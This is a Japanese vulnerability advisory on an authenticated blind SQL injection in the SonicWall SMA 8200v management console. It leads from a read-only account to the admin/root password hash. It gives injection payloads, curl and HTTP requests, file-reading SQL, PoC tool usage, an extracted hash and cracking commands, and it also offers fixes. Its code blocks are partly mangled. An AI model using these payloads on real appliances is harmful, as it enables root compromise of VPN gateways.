
SonicWall SMA1000シリーズアプライアンスにおけるSQLコマンドで使用される特殊要素の不適切な無害化(「SQLインジェクション」)により、読み取り専用の管理者権限を持つリモートの認証済み攻撃者が、プライマリ管理者への権限昇格を可能にします。
SonicWall SMA 8200v管理コンソール(ポート8443)における認証後ブラインドSQLインジェクションの脆弱性により、認証済みの管理者(低権限の読み取り専用アカウントを含む)が、アプライアンス設定ファイルからプライマリ管理者のSHA-512パスワードハッシュを抽出できます。SonicWallは管理コンソールの管理者とオペレーティングシステムのrootアカウントに同じ認証情報を使用しているため、このハッシュをクラックするとアプライアンスへの完全なrootレベルのアクセスが得られます。
分類: 権限昇格(低権限管理者からrootへ) CVSS 3.1: 7.2(高)— AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 攻撃の複雑さ: 低(自動化されたPoCで約60〜90分で抽出完了) 前提条件: 有効な管理コンソール認証情報(読み取り専用アカウントを含む)
| コンポーネント | 詳細 |
|---|---|
| プラットフォーム | SonicWall SMA 8200v(仮想アプライアンス) |
| ファームウェア | 12.5.0-02283(確認済み)。おそらくすべての12.x |
| サービス | 管理コンソール — Jetty + Struts 2(ポート8443) |
| エンドポイント | POST /activeUsers.action |
| 脆弱なパラメータ | realmFilter、communityFilter(クロスパラメータ) |
| 根本原因クラス | com.aventail.mgmt.sql.Sql.safeParam() |
| データベース | MariaDB 10.11.14、ユーザー DbAdmin(ALL PRIVILEGES + FILE) |
| 対象ファイル | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
管理コンソールは、Active UsersダッシュボードのSQLクエリを、クラス com.aventail.mgmt.sql.Sql のヘルパーメソッド safeParam() を使用して構築します。このメソッドは、シングルクォート(')とダブルクォート(")を二重化してエスケープしますが、バックスラッシュ文字(\)はエスケープしません。
MySQL/MariaDBでは、バックスラッシュは文字列リテラル内のデフォルトのエスケープ文字です。シーケンス \' により、データベースはシングルクォートを文字列終端文字ではなくリテラル文字として解釈します。つまり、パラメータ値の末尾にあるバックスラッシュは、アプリケーションが追加する終了クォートをエスケープし、SQL文字列リテラルが隣接する構文にまで拡張される原因となります。
サニタイズのギャップ:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 インジェクションの仕組み: パラメータ横断テクニック
`activeUsers.action` エンドポイントは、単一の SQL WHERE 句に補間される複数のフィルタパラメータを受け入れます。関連するパラメータは `realmFilter` と `communityFilter` で、これらはおおよそ次のような構造のクエリに現れます:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
攻撃パラメータの設定:
| パラメータ | 値 | 目的 |
|---|---|---|
realmFilter | test\ | 末尾のバックスラッシュが閉じ引用符をエスケープし、文字列リテラルをAND境界を越えて拡張する |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | 開いている括弧を閉じ、条件付きSLEEPを注入し、残りをコメントアウトする |
補間後の結果SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
これを分解すると:
1. `rt.name='test\')` — `\` が `'` をエスケープするため、ここでは文字列は閉じない
2. `AND (ct.name='` — 文字列値の一部(リテラルテキスト)になる
3. 文字列は次の `'`(`communityFilter` の開始部分)でようやく閉じる
4. `))` — WHERE 句の構造から開いた2つの括弧を閉じる
5. `OR (SELECT IF(...))` — ブラインドSQLインジェクションの条件を注入
6. `-- x` — 残りのSQL(`')` やその他の句)をコメントアウト
### 3.3 時間ベースのブラインド抽出
このアプリケーションのStruts 2エラーハンドリングはSQL例外を適切に捕捉する(クエリの成功・失敗に関係なく常にHTTP 200と同じページ内容を返す)ため、エラーベースやUNIONベースの抽出方法は利用できない。インジェクションは時間ベースのブラインド手法を用いて悪用される:
- **TRUE条件:** `IF(<condition>, SLEEP(N), 0)` — 応答はSLEEP時間に結果セットの行数を掛けた分だけ遅延
- **FALSE条件:** SLEEPなし — 応答は約200〜500msで返る
SLEEP関数はWHERE句の評価中に行ごとに実行される。典型的な監視テーブルに30〜300行以上が含まれる場合、小さなSLEEP値(例:0.3秒)でも明確に区別できる遅延が生じる(TRUEでは10〜100秒、FALSEでは1秒未満)。
対象データの各文字は、ASCII範囲に対する二分探索によって抽出される:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
This requires a maximum of 7 requests per character (log2(128) = 7), yielding ~686 total requests for a 98-character SHA-512 hash.
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 ステップ 1: 認証
SMA管理コンソールは、2つの認証レルムをサポートしています:
| レルムID | 表示名 | ユーザー |
|----------|-------------|-------|
| *(空)* | 管理コンソール | プライマリ管理者アカウントのみ |
| `AMCAuthRealm` / `ローカル認証` | ローカル認証 | セカンダリ管理者アカウント(読み取り専用、カスタム) |
この攻撃に必要なのは、管理コンソールへのアクセス権を持つ**任意の**アカウントの有効な認証情報のみです。「読み取り専用」アカウント — 設定変更機能を持たない監視専用アクセスを目的としたもの — で十分です。
認証はJ2EE FORMベース認証を介して実行されます:
1. `GET /console.action` — ログインページを取得し、隠しフォームフィールドからCSRFトークンを抽出
2. `POST /j_security_check` — `csrfToken`、`j_username`、`j_password`、および`realmId`を送信
3. 成功時はHTTP 303リダイレクト、`JSESSIONID`クッキーが確立
### 4.3 ステップ 2: SQLインジェクション
認証後、攻撃者はクロスパラメータインジェクションを含むPOSTリクエストを`/activeUsers.action`に送信します:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
無条件の IF(1=1, SLEEP(0.3), 0) は、HTTPレスポンスに測定可能な遅延が発生することを確認することで、インジェクションが機能していることを検証します。
MariaDBデータベースは、OSユーザー DbAdmin(uid=1001、gid=500 aventail)で実行されています。このデータベースユーザーは、LOAD_FILE() に必要な FILE 権限を含む ALL PRIVILEGES ON *.* WITH GRANT OPTION を保持しています。
重要な発見: MariaDBの設定 secure_file_priv = NULL(INTO OUTFILE および INTO DUMPFILE の書き込み操作をブロックする)にもかかわらず、ファイルの読み取りを行う LOAD_FILE() 関数は完全に機能したままです。これは文書化されているものの十分に理解されていないMariaDBの動作です — secure_file_priv=NULL はファイルの書き込みパスを制限しますが、ユーザーが FILE 権限を持つ場合のファイル読み取りは無効化しません。
対象の設定ファイル /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml は、mgmt-server:aventail が所有し、権限は 664(rw-rw-r--)です。DbAdmin OSユーザーは aventail グループに属しているため、LOAD_FILE() でこのファイルを読み取ることができます。
ブラインドSQLiによる検証:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 ステップ4: avconfig.xml内の管理者ハッシュの特定
`avconfig.xml`ファイル(約98KB)は、アプライアンスのマスター設定ストアです。このファイルには、`<password>` XML要素内に、すべてのユーザー資格情報がSHA-512 crypt形式で含まれています。プライマリ管理者ハッシュは、管理者セクションに固有の`<consoleMode>`要素の近くにある`<credentials_item>`ブロック内に配置されています。
ハードコードされたバイトオフセット(管理者セクションより上の設定が変更されると壊れる可能性がある)に依存するのではなく、抽出処理ではMySQLの文字列関数を使用してハッシュを動的に特定します。```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
ロジック:
LOCATE('consoleMode', file) — consoleMode 文字列のバイトオフセットを検索し、管理者設定セクションにアンカーを設定しますLOCATE('<password>', file, anchor_offset) — そのアンカーの後にある最初の <password> タグを検索しますSUBSTRING(file, tag_offset + 10, 120) — ハッシュ値を抽出します(10文字の <password> タグをスキップ)SUBSTRING_INDEX(result, '<', 1) — </password> 終了タグで切り詰めますこのアプローチは位置に依存せず、ファイル内の他の場所での設定変更に対して耐性があります。式全体はMySQLの16進数リテラル(0x...)を使用してエンコードされ、インジェクションコンテキスト内での引用問題を回避します。
ハッシュの各文字は二分探索によって抽出されます:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
バイナリ検索は、各リクエストでASCII範囲 [0, 127] を半分に絞り込みます:
| ステップ | 範囲 | テスト | 結果 |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | 収束 | 文字 = chr(n) |
既知の管理者ハッシュ(`$6$WHTK8ybQ$MchVNW...`)の場合、全98文字の抽出には約686回のHTTPリクエストが必要です。
### 4.7 ステップ6: ハッシュクラッキング
抽出されたハッシュは標準のSHA-512 crypt形式です:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| フィールド | 値 |
|---|---|
| アルゴリズム | $6$ — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 ステップ7: 完全な侵害
SonicWall SMAアーキテクチャは、管理コンソールの管理者パスワードをOSのrootパスワードとして使用します。これは設計上の決定です — 管理者パスワードが管理コンソールを通じて設定または変更されると、Webインターフェースと基盤となるLinux rootアカウントの両方に適用されます。したがって、管理者ハッシュのクラッキングにより以下が得られます:
- **管理コンソール(ポート8443):** すべての設定、ポリシー、ユーザー管理、および監視への完全な管理アクセス
- **SSH(ポート22):** 基盤となるDebian Linuxオペレーティングシステムへのrootシェルアクセス
- **シリアルコンソール:** 物理的/帯域外アクセスのためのrootログイン
---
## 5. 要因
複数のアーキテクチャ上の決定が重なり合って、この脆弱性を悪用可能にしています:
### 5.1 不完全なSQLサニタイズ
`com.aventail.mgmt.sql.Sql`の`safeParam()`メソッドは引用符をエスケープしますが、バックスラッシュはエスケープしません。これはよく知られたSQLインジェクションのクラスです — MySQLのバックスラッシュエスケープ動作は、2000年代初頭からセキュリティ上の懸念として文書化されています。修正は簡単です: バックスラッシュをエスケープする(`\` → `\\`)、`NO_BACKSLASH_ESCAPES` SQLモードを設定する、またはパラメータ化クエリを使用します。
### 5.2 過剰な権限を持つデータベースユーザー
MariaDBの`DbAdmin`ユーザーは`ALL PRIVILEGES ON *.* WITH GRANT OPTION`で実行されます。これにより、アプリケーションが必要とする範囲をはるかに超える機能が付与されます。以下を含みます:
- `FILE`権限(LOAD_FILE、INTO OUTFILE)
- `SUPER`権限
- `GRANT OPTION`(新しいスーパーユーザーアカウントを作成可能)
アプリケーションは自身のデータベースに対するSELECT/INSERT/UPDATE/DELETEのみを必要とします。過剰な権限により、SQLインジェクションがデータ抽出から任意のファイル読み取り/書き込みへと変化します。
### 5.3 secure_file_privの設定ミス
`secure_file_priv = NULL`はファイルの**書き込み**操作(`INTO OUTFILE`、`INTO DUMPFILE`)をブロックしますが、ファイルの**読み取り**操作(`LOAD_FILE()`)はブロック**しません**。これは文書化されたMariaDBの動作であり、しばしば誤解されています。管理者や開発者は`secure_file_priv = NULL`がすべてのファイルI/Oを無効にすると想定することがよくありますが、これは書き込みパスのみを制限します。
`LOAD_FILE()`を完全に無効にするには、データベースユーザーから`FILE`権限を取り消す必要があります:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
すべてのパスワードハッシュを含む avconfig.xml ファイルは、mgmt-server:aventail が所有し、モードは 664 です。aventail グループには、MariaDB が実行される OS ユーザーである DbAdmin が含まれます。つまり、データベースプロセスは、アプライアンスのマスター設定ファイル(保存されているすべての認証情報を含む)を読み取ることができます。
より制限的な権限モデル(例:mgmt-server:mgmt-server が所有するモード 600、または管理アプリケーションのみが読み取れる専用のシークレットファイルにハッシュを保存する方法)を採用すれば、FILE 権限があっても LOAD_FILE() がハッシュにアクセスするのを防ぐことができます。
管理コンソールの管理者と OS の root アカウントに同じパスワードを使用するという設計上の決定により、アプリケーション層から管理者ハッシュを抽出すると、そのまま OS の root アクセスが得られます。これにより、Web アプリケーション層と基盤となる OS の間の境界が完全に失われます。
管理コンソールの「readonly」ロールは、設定変更機能なしの監視専用アクセスを提供することを目的としています。しかし、activeUsers.action エンドポイントは、ロールに関係なく、すべての認証済みユーザーに対してフィルターパラメータを同一に処理します。読み取り専用アカウントは、プライマリ管理者と同じ SQL インジェクションを実行できます。これは、脆弱性が設定変更パスではなく、データ取得パス(アクティブユーザーの一覧表示/フィルタリング)にあるためです。
完全に自動化されたエクスプロイトツールが開発され、実稼働中のターゲットに対して検証されました。
使用方法(読み取り専用アカウント — 権限昇格の証明):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**実行フェーズ:**
1. **フェーズ 1: 認証** — 指定された認証情報とレルムでログインし、JSESSIONID を取得する
2. **フェーズ 2: 検証** — SQLi が機能していること (SLEEP タイミング)、LOAD_FILE が avconfig.xml を読み取れること、管理者ハッシュアンカーが存在することを確認する
3. **フェーズ 3: 抽出** — 二分探索で完全な SHA-512 ハッシュを文字ごとに抽出する
4. **フェーズ 4: 出力** — ハッシュを hashcat 対応形式で書き出し、クラッキングコマンドを出力する
**確認された出力:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
インジェクションはPoCツールを使わずに手動で検証することもできます。```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 MySQL CLIによる直接SQL検証
root SSHアクセスがあれば、SQL抽出式を直接検証できます。```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| 影響 | 説明 |
|---|---|
| 機密性 | aventail グループが読み取り可能なすべてのファイルへの完全な読み取りアクセス。設定ファイル、認証情報、証明書、鍵を含む |
| 完全性 | ハッシュクラック後: 管理者コンソールへの完全なアクセスにより、任意の設定変更、ポリシー変更、ユーザー管理が可能になる |
| 可用性 | ルートアクセスにより、サービス妨害、データ破壊、またはデバイスの恒久的な使用不能化が可能になる |
シナリオ 1: 内部関係者による脅威 / 最小権限の原則違反 正当な監視アクセス権を持つ読み取り専用管理者(SOC アナリスト、監査人、ジュニアエンジニア)が、すべてのロールベースのアクセス制御を回避してフル管理者/ルート権限に昇格する。
シナリオ 2: 認証情報漏洩による権限昇格 管理コンソールの認証情報を入手した攻撃者(フィッシング、クレデンシャルスタッフィング、デフォルトパスワード)は、侵害されたアカウントの意図された権限レベルに関係なく、ルート権限に昇格できる。
シナリオ 3: ネットワークピボット SMA アプライアンスへのルートアクセスは、ネットワークエッジにおける永続的な足場を提供する。攻撃者は VPN トラフィックを傍受し、ルーティングを変更し、内部ネットワークセグメントにアクセスし、設定からすべての VPN ユーザー認証情報を抽出できる。
パラメータ化クエリ: 管理コンソールの SQL レイヤー全体で、safeParam() 内の文字列補間をプリペアドステートメント / パラメータ化クエリに置き換える。これにより、文字エスケープに関係なくインジェクションが排除される。
FILE 権限の剥奪: DbAdmin データベースユーザーから FILE 権限を削除する: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
データベース権限の制限: DbAdmin に最小権限を適用し、アプリケーションが必要とする特定のデータベース(monitoring、scheduler、troubleshooting)に対してのみ SELECT, INSERT, UPDATE, DELETE を許可します。
avconfig.xml の権限を制限: ファイルの所有者と権限を変更し、データベースユーザーが設定を読み取れないようにします。 ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
管理者認証情報とルート認証情報の分離: 管理コンソールの管理者パスワードをOSのルートパスワードから切り離します。独立した変更・ローテーションの仕組みを持つ、異なる認証情報を使用します。
ロールベースのエンドポイントアクセス: activeUsers.action エンドポイント(およびその他のすべてのデータ照会エンドポイント)へのアクセスを、UI/メニューレベルだけでなく、アプリケーション層でユーザーロールに基づいて制限します。
SQLモードの強化: MariaDB設定で NO_BACKSLASH_ESCAPES を設定し、バックスラッシュエスケープの解釈をグローバルに無効化します: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
ハッシュストレージの分離: パスワードハッシュは、メインのXML設定ファイルではなく、一般的なアプリケーションデータベースユーザーがアクセスできない専用ファイルまたはデータベーステーブルに保存します。
LOAD_FILE()にはFILE権限が必要。secure_file_privはSELECT ... INTOを制限するがLOAD_FILE()は制限しないNO_BACKSLASH_ESCAPESが設定されていない場合、\は文字列リテラル内でエスケープ文字として扱われる$6$プレフィックス、設定可能なラウンド数(デフォルト5000)、86文字のBase64ハッシュ出力$6$)| ソルト | WHTK8ybQ |
| ラウンド数 | 5000(デフォルト、未指定) |
| Hashcat モード | 1800 |
| John フォーマット | sha512crypt |
| 日付 | イベント |
|---|
| 2026-02-24 | safeParam()の静的解析によりクロスパラメータSQLiを特定 |
| 2026-02-24 | 管理者セッションでブラインドSQLiを確認(SLEEPタイミング) |
| 2026-02-25 | 読み取り専用アカウントでSQLiを確認(権限昇格ベクトル) |
| 2026-02-25 | secure_file_priv=NULLにもかかわらずLOAD_FILE()が動作することを確認 |
| 2026-02-25 | avconfig.xmlがadmin/rootハッシュを含む資格情報ストアであることを特定 |
| 2026-02-25 | MySQL CLIでSQL抽出式を検証 |
| 2026-02-25 | PoCツール(sma_admin_hash_poc.py)で完全自動抽出を確認 |
| 2026-02-25 | 権限昇格チェーンを検証: readonly -> admin/rootハッシュ |